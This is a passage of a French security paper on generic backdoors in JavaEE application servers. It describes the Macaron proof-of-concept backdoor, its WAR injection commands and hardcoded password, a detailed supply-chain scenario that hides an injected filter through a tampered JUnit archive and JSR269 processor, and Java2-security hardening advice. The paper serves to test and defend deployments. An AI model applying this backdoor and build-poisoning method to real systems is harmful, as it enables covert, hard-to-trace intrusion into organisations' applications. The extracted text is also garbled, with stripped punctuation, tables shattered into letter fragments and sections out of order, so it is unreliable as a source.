String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

